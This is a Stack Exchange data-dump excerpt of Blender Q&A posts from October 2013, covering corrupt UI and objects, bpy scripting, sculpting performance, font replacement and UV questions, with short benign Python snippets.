  <row Id="3507" PostTypeId="2" ParentId="3352" CreationDate="2013-10-25T00:06:09.940" Score="0" Body="&lt;p&gt;If you mean objects in other Blender files (not the .obj file format), use the Append or Link under Files-&gt;Append/Link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the .blend file you would like to merge with. select the &quot;Object&quot; folder and click the objects you would like to append/link to your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several objects can be selected by SHIFT+RIGHT click on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appending is merging the object into your current blend file and active scene/layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By linking, the object is not copied but linked to the original .blend file, so when the original blend file is updated, your current blend file will also update.&lt;/p&gt;&#xA;" OwnerUserId="639" LastActivityDate="2013-10-25T00:06:09.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostTypeId="1" AcceptedAnswerId="3509" CreationDate="2013-10-25T00:24:57.037" Score="3" ViewCount="528" Body="&lt;p&gt;In the UI I for some reason have one Model and one Model.001 where the later on is corrupt. When selecting this screen the UI freezes and the only way to get out of it is to use the &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;larr;&lt;/kbd&gt;/&lt;kbd&gt;&amp;rarr;&lt;/kbd&gt; keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend file is binary so I can't edit it out manually. Is there a way to remove this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.68a&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="599" LastEditDate="2013-10-26T00:23:09.357" LastActivityDate="2014-12-31T12:35:19.067" Title="Removing corrupt screen setting" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostTypeId="2" ParentId="3508" CreationDate="2013-10-25T01:01:58.237" Score="6" Body="&lt;p&gt;Reload startup file &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;N&lt;/kbd&gt; (or any file, actually) not containing the corrupted screen layout. Reopen the problematic file but clear &lt;strong&gt;Load UI&lt;/strong&gt; checkbox, under &lt;em&gt;Open Blender File&lt;/em&gt; settings group in the file open dialog. Then save the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;Load UI&lt;/strong&gt; unchecked, Blender will reuse UI settings from previously opened file, for the file to be loaded.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-25T01:01:58.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3510" PostTypeId="1" AcceptedAnswerId="3511" CreationDate="2013-10-25T01:25:19.303" Score="5" ViewCount="1552" Body="&lt;p&gt;I have a corrupt object in my master scene. It can't be seen anywhere else than in the outliner. I can select it (in the outliner) but I can't delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happen to be so that this corrupt/lost object is in all my blender files because they where based on the same blender file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can Append/Link all objects into a new blender file, but the problem is that I have quite some node setups in the compositor. The only way to append them is to append the scene itself but that will also include my corrupted object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to copy/paste the nodes into the new blend file, but all my node groups complained about an empty datablock, so that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.68a with Cycles.&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="599" LastEditDate="2013-10-26T00:25:22.867" LastActivityDate="2017-09-03T11:36:33.133" Title="Removing corrupt object" Tags="&lt;objects&gt;&lt;scene&gt;&lt;append&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostTypeId="2" ParentId="3510" CreationDate="2013-10-25T01:32:36.173" Score="5" Body="&lt;p&gt;I found a solution to it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Outliner, change from &quot;All Scenes&quot; to &quot;Blender File&quot; right click on the corrupted object and select &quot;Delete&quot;. Now it is deleted...&lt;/p&gt;&#xA;" OwnerUserId="639" LastActivityDate="2013-10-25T01:32:36.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostTypeId="1" AcceptedAnswerId="3513" CreationDate="2013-10-25T05:31:04.730" Score="7" ViewCount="760" Body="&lt;p&gt;I'm trying to make a script and I'm having trouble with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[0].render.file_format = 'PNG'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it prints this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'RenderSettings' object has no attribute 'fileformat'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course it's no big issue to click the mouse and set it, but I want to find out why it doesn't work. When I hover over the File Format menu in the render settings I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;] ... file_format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that there are a few other commands which show &quot;...&quot; in the attribute's &quot;path&quot;. I checked out the docs, it doesn't say that file_format is deprecated. I'm using the latest version and Blender's default renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why it doesn't work?&lt;/p&gt;&#xA;" OwnerUserId="1483" LastActivityDate="2013-10-25T05:57:18.270" Title="Attribute ImageFormatSettings.file_path doesn't exist" Tags="&lt;scripting&gt;&lt;python&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3513" PostTypeId="2" ParentId="3512" CreationDate="2013-10-25T05:57:18.270" Score="6" Body="&lt;p&gt;It seems that the path you tried to use only exists in a context for UI elements, from properties_render.py:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    layout = self.layout&#xA;&#xA;    rd = context.scene.render&#xA;    image_settings = rd.image_settings&#xA;    file_format = image_settings.file_format&#xA;&#xA;    layout.prop(rd, &quot;filepath&quot;, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a script you could use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[0].render.image_settings.file_format=&quot;PNG&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-10-25T05:57:18.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3514" PostTypeId="2" ParentId="3500" CreationDate="2013-10-25T07:17:44.717" Score="7" Body="&lt;p&gt;The spin tool is for mesh objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For curves you can get the same result using two curves, one for the outline and one for the 'spinning'. The outline curve is set as the bevel object to the spinning curve. For a 360 degree spin a BezierCircle is a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVFCb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-25T07:17:44.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3515" PostTypeId="2" ParentId="3423" CreationDate="2013-10-25T08:08:27.187" Score="12" Body="&lt;p&gt;You can do this using the Object ID and a ID mask node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object you want to use as a mask, and under the object tab in the properties set the Pass Index unequal 0 (I used 1, but if you have more then one mask give each one a different number)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/somLA.png&quot; alt=&quot;Object Tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, head over to the RenderLayers tab and check the Object ID pass&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UV52.png&quot; alt=&quot;RenderLayers Tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re-render your image and head over to the node editor. There attach a ID Mask node to the IndexOB socket. Use the node's output as a factor for a mix node (See screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cyrzm.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I used a test image, but you can use one from any source you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5orlW.png&quot; alt=&quot;Example Output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="1479" LastEditDate="2013-10-25T17:29:34.980" LastActivityDate="2013-10-25T17:29:34.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostTypeId="1" AcceptedAnswerId="3525" CreationDate="2013-10-25T08:41:06.433" Score="5" ViewCount="14736" Body="&lt;p&gt;I'm doing a Blendercookie course on how to sculpt a Scifi weapon with dyntopo. The fact is that when some piece reach a certain level of compleiity (about 1.1 million tris) the systems starts to lags too much and is so frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the several options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable double sided lighting&lt;/li&gt;&#xA;&lt;li&gt;Enable VBO &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've so also reduced the topology of hidden faces. But that´s how far I've reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a late Imac Intel I5 Nvidia GPU GTX 680mx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any tips out there?&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="12" LastEditDate="2013-10-25T13:58:43.303" LastActivityDate="2013-10-25T21:16:22.417" Title="How can I improve viewport performance when using Dyntopo?" Tags="&lt;sculpting&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostTypeId="2" ParentId="3516" CreationDate="2013-10-25T09:38:49.757" Score="4" Body="&lt;p&gt;I've found this in the blenderartist forum&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enabling VBOs&lt;/li&gt;&#xA;&lt;li&gt;Don't have a Subdivision Surface or Multires Modifier at the bottom of your Modifier Stack&lt;/li&gt;&#xA;&lt;li&gt;Drawing of Outlines is very expensive&lt;/li&gt;&#xA;&lt;li&gt;non-GLSL Textured modes are slow&lt;/li&gt;&#xA;&lt;li&gt;(NVIDIA Geforce users only) Disable Double-Sided shading&lt;/li&gt;&#xA;&lt;li&gt;Non-Power-Of-Two Textures are slow for Texture Painting &lt;/li&gt;&#xA;&lt;li&gt;Sculpting on lowres meshes can hurt performance&lt;/li&gt;&#xA;&lt;li&gt;GUI regions can slow down the viewport &lt;/li&gt;&#xA;&lt;li&gt;Enabling &quot;Show Diffuse Color&quot; can hurt performance &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more detail it's &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?257323-What-everybody-needs-to-know-about-Blender-Viewport-performance&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-10-25T09:38:49.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3519" PostTypeId="1" AcceptedAnswerId="3704" CreationDate="2013-10-25T14:59:15.267" Score="3" ViewCount="7152" Body="&lt;p&gt;When I sculpt using Multirezolution modifier I use the following tricks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I start with a base model which has 1000-5000 vertices&lt;/li&gt;&#xA;&lt;li&gt;For each subdivision level I try to finish all work which can be done there&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I only do fine details when I reach multimillion faces level&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If things are too slow -- I make a copy of my model, move it to different layer,&#xA;apply Multires, sculpt, and then reapply my changes using 'Reshape' button of Multirez modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can you advise on other settings to make Multirez perform faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to clarify -- there are situations where Dyntopo is not a right choice: for example after you done with exploratory sculpting, went through retopology, created UV maps, and reintroduced details level lost during retopology.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-10-25T15:34:43.767" LastActivityDate="2019-02-19T22:49:21.870" Title="How do you optimize Blender/mesh for sculpting with multiresolution modifier?" Tags="&lt;sculpting&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3520" PostTypeId="2" ParentId="3519" CreationDate="2013-10-25T15:05:54.187" Score="1" Body="&lt;p&gt;Try the new &lt;strong&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Topology&lt;/a&gt;&lt;/strong&gt;! From the wiki:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Dynamic topology is a new sculpting mode that subdivides the mesh as needed, whereas regular sculpting only affects the shape of a mesh. This makes it possible to sculpt complex shapes out of a simple mesh, rather than just adding details onto a modeled base mesh.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To start using Dynamic Topology, remove or apply your &lt;em&gt;Multiresolution&lt;/em&gt;, then enter &lt;em&gt;Sculpt Mode&lt;/em&gt; and select &lt;strong&gt;Enable Dynamic Topology&lt;/strong&gt; under the &lt;em&gt;Topology&lt;/em&gt; tab of the Sculpt toolbox.&lt;/p&gt;&#xA;&lt;p&gt;This eliminates the need for &lt;em&gt;Multiresolution&lt;/em&gt;, because the resolution is automatically adjusted &lt;em&gt;as you sculpt&lt;/em&gt;. You can hit the &lt;em&gt;Optimize&lt;/em&gt; button to optimize your mesh.&lt;/p&gt;&#xA;&lt;p&gt;To adjust your resolution change the &lt;em&gt;Detail Size&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;). This is measured in pixels: any attempt to sculpt on surfaces with a lower vertex density than this pixel length will be subdivided. This means that you can very easily adjust this by zooming in or out, or manually with the &lt;em&gt;Detail Size&lt;/em&gt; setting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MJeRJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJeRJ.png&quot; alt=&quot;Enabling dyntopo&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt; &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt; &lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's an example of using &lt;em&gt;Grab&lt;/em&gt; (no dynamic topology) vs. &lt;em&gt;Snake Hook&lt;/em&gt; (with dynamic topology):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9X4B.png&quot; alt=&quot;Example of dynamic topology update&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would highly recommend Kent Trammell's video series &lt;a href=&quot;http://cgcookie.com/blender/2013/01/10/creature-modeling-production-training-dvd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Creature Modeling for Production&lt;/em&gt;&lt;/a&gt; (USD $48), which uses dynamic topology, among many other tools.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-02-19T22:49:21.870" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3521" PostTypeId="1" AcceptedAnswerId="3523" CreationDate="2013-10-25T18:29:47.547" Score="5" ViewCount="717" Body="&lt;p&gt;I just experienced a nightmarish Blender episode in which I needed to render an  animation with a super tight deadline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the schedule, I started rendering on several different computers, of which some were Linux machines and others had Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out the fonts I were using did not load up correctly on the Linux machines. It also seems like the &quot;pack external files&quot; doesn't work with fonts anymore? I could make it work by choosing each text layer and assigning the font to it by hand. Because of the large amount of text layers this became a tedious task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's my question:&#xA;Is there no way of mass-assigning the font type to text layers? I was hoping it would work in a similar way like materials and other things work in Blender, so that I could select all the text layers and have them all update their font simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="12" LastEditDate="2013-10-25T23:45:05.753" LastActivityDate="2019-04-10T09:53:56.050" Title="Mass replace fonts" Tags="&lt;workflow&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostTypeId="1" CreationDate="2013-10-25T20:47:26.293" Score="19" ViewCount="16249" Body="&lt;p&gt;How can I add text with non Latin characters?&lt;/p&gt;&#xA;&lt;p&gt;I'd like to get text in other languages like Arabic, Russin (Cyrilic), Japanese, Chinese, Malayalam among others, but I get rectangles instead of Arabic letters.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="19307" LastEditDate="2020-10-13T11:32:59.920" LastActivityDate="2020-10-13T11:32:59.920" Title="How can I add text in a non-english language?" Tags="&lt;text-object&gt;&lt;text-editor&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3523" PostTypeId="2" ParentId="3521" CreationDate="2013-10-25T21:04:59.990" Score="3" Body="&lt;p&gt;If packing fonts did work in previous versions, then I suggest you &lt;a href=&quot;https://projects.blender.org/tracker/?atid=498&amp;amp;group_id=9&amp;amp;func=browse&quot; rel=&quot;nofollow noreferrer&quot;&gt;report a bug&lt;/a&gt;. (See &lt;a href=&quot;https://blender.stackexchange.com/a/1378/599&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;http://www.blendernation.com/2013/09/29/reporting-bugs-in-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; for more info on filing a bug report)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; to link Fonts does actually work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vwfSx.jpg&quot; alt=&quot;link fonts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if for some reason you want more control over font assignment &lt;em&gt;(perhaps to conditionally assigned based on the name or the existing font)&lt;/em&gt;, a Python script can be made to automate this too - copy the below text into Blender's internal text editor, then with all the text objects selected and the one you want to copy from as the active object (last selected one), click &lt;em&gt;Run Script&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy&#xA;if bpy.context.active_object.type == 'FONT':&#xA;    font = bpy.context.active_object.data.font&#xA;&#xA;    for obj in bpy.context.selected_objects:&#xA;        if obj.type == 'FONT':&#xA;            obj.data.font = font&#xA;        else:&#xA;            print(obj.name + &quot; is not a text object&quot;)&#xA;else:&#xA;    print (&quot;Active object is not a text object&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-10-26T00:47:19.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostTypeId="2" ParentId="3521" CreationDate="2013-10-25T21:09:16.743" Score="2" Body="&lt;p&gt;You could do this in Python to make sure you touch all objects in the blend. (not just objects in the active scene).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;font = bpy.data.fonts.load(&quot;//myfont.ttf&quot;)&#xA;&#xA;for obj in bpy.data.objects:&#xA;    if obj.type == 'FONT':&#xA;        print(obj)&#xA;        obj.data.font = font&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &quot;//&quot; prefix, this means the font will be referenced relative to the current blend file. so it will load on different systems.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-10-25T21:39:58.860" LastActivityDate="2013-10-25T21:39:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3525" PostTypeId="2" ParentId="3516" CreationDate="2013-10-25T21:16:22.417" Score="7" Body="&lt;p&gt;Here is an answer by &lt;a href=&quot;http://blenderartists.org/forum/member.php?60834-Sanctuary&quot; rel=&quot;noreferrer&quot;&gt;Sanctuary&lt;/a&gt; from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?264568-Dyntopo-tests&amp;amp;p=2501486&amp;amp;viewfull=1#post2501486&quot; rel=&quot;noreferrer&quot;&gt;Dynatopo test thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Some performance tips about Dyntopo&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not use Matcap, while it does not show while you're still blocking out your sculpt and you are in early stage of it, Matcap will very noticably impact performance when you're starting to reach mid/high poly . Use &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?223293-QuickPrefs-Access-from-side-panel-to-Lighting-Presets-amp-often-changed-preferences&quot; rel=&quot;noreferrer&quot;&gt;that addon&lt;/a&gt; instead , gives full control on the Blender existing opengl lights and does not impact performance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have Double Sided disabled in the Object Data panel, it's not a nvidia problem only, at higher poly stage the difference in performance with it being enabled or disabled is very noticable on every hardware.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the Detail level in the Dyntopo setting, too low (like less than 5) that can lead in a -very- lot of triangles generated by your brush strokes , while sometime you may want that, in other time that amount of tris could be really unneeded and can degrade performance. For most of the sculpt time getting detail between 15/20 is good, and for fine detailling, around 10 or a bit less should be enough (remember that when you zoom in you're fine detailling anyways) &#xA;Less than 10 can be really overkill due the amount of generated tris.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can optimise some part of your sculpt for which you think there are way too many triangles (enable Wire + Display All Edge to see what's going on while you sculpt) by either enabling the Collapse Short Edges button , increasing the detail setting and enabling for your brush the &quot;Simplify&quot; tool (in the bottom header Brush -&gt; Sculpt Tool -&gt; Simplify&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can press H and drag a selection to hide those parts while in Sculpt mode, it can help performance really a very lot depending on the kind of polycount you're having of course (ALT+H to unhide)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;some people have mentionned that the regular freeze/pausing could be related to Blender autosaving (a function enabled by default for each 5 minutes) , you can disable or change the delay for that in File -&gt; User Preferences -&gt; File&#xA;additionally in freeze/pausing moment, clicking on &quot;Optimise&quot; in the Dyntopo settings may help so it recalculate whatever it has to recalculate&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If rotating/zooming the view become painfully slow, press Z to switch to wireframe, rotating will then be very fast, press again Z to switch back to solid shading&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dyntopo can't currently reach (while keep performance good ) the same kind of polycount you can reach under Multiresolution, fortunately the &quot;detail where needed&quot; system of Dyntopo generating topology only where you work allows for detailled sculpt at a much lower polycount than an equivalent multires would require.&#xA;So don't be surprised if you can get a workable million in Multires and an unworkable million in Dyntopo.&#xA;Of course powerfull computers will get higher than less powerfull ones (and if i remember well, Dyntopo isn't multithreaded, while Multires is multithreaded).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-10-25T21:16:22.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostTypeId="1" AcceptedAnswerId="3545" CreationDate="2013-10-25T21:43:01.087" Score="8" ViewCount="13943" Body="&lt;p&gt;Sometimes UV unwrap has several nearly identica islands. However, more often than not they differ a little. If I want to keep identical texture for these -- is there a good way to overlap them perfectly? I know I can do it vertex by vertex, but I hope there is a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do it for the whole model if it is symmetrical with Symmetrize option from mesh menu. I am talking about selected islands, not all of them.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2021-05-17T09:49:10.613" Title="Is there a way to overlay two similar UV islands with identical vertex count?" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3527" PostTypeId="1" AcceptedAnswerId="3555" CreationDate="2013-10-26T01:57:47.827" Score="7" ViewCount="2263" Body="&lt;p&gt;How to access pixel values in a video footage frames from python API?&#xA;Sequence or clip editor? Or loading data directly perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make a primitive laser 3D scanning addon utilizing same principle as&#xA;&lt;a href=&quot;http://en.myinventions.pl/index.php?page=3Dscanner&quot; rel=&quot;noreferrer&quot;&gt;http://en.myinventions.pl/index.php?page=3Dscanner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Ok, half way there - able to load file, but can read only the first frame.&#xA;Is there a way to change frame?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;img = bpy.data.images.load('H:\\Data\\_blender\\Fluid\\Video_Edit.mov')&#xA;print(img.frame_duration)&#xA;&#xA;#getting data&#xA;pixels = list(img.pixels)&#xA;&#xA;#testing data&#xA;tmp = bpy.data.images.new(name=&quot;sample&quot;+str(frame), width=w, height=h, alpha=False, float_buffer=False)&#xA;tmp.pixels = pixels&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1491" LastEditorUserId="1491" LastEditDate="2013-10-26T05:24:31.833" LastActivityDate="2013-10-28T17:04:20.020" Title="How to read pixels of a video from python API?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3528" PostTypeId="1" AcceptedAnswerId="3535" CreationDate="2013-10-26T02:33:17.060" Score="8" ViewCount="2382" Body="&lt;p&gt;Is it possible to make freestyle lines stay the same width relative to the distance from the camera?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way free style lines behave by default, they stay the same width in pixels, but vary relative to the size of rendered objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make freestyle lines appear small when rendered on objects far away (as the object appears small) and large on objects close to the camera? (as nearby objects appear large)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-26T15:34:27.640" Title="How to make freestyle lines stay the same size?" Tags="&lt;freestyle&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostTypeId="1" AcceptedAnswerId="3538" CreationDate="2013-10-26T05:22:39.267" Score="4" ViewCount="184" Body="&lt;p&gt;I have a set of spheres in the scene, and I need a stream of mist to connect between the center sphere and the outer spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNRyN.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should look something like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aRri1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-10-26T20:01:51.660" Title="Stream of mist between objects?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostTypeId="1" AcceptedAnswerId="3537" CreationDate="2013-10-26T14:13:28.673" Score="5" ViewCount="3451" Body="&lt;p&gt;Using Python, can one select or find what is selected in the UV Image Editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried accessing the UV screen itself and found its &lt;code&gt;SpaceUVEditor&lt;/code&gt; but got stuck there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="55" LastEditDate="2013-10-27T08:50:16.827" LastActivityDate="2014-01-21T00:27:59.327" Title="Obtain UV selection in Python?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
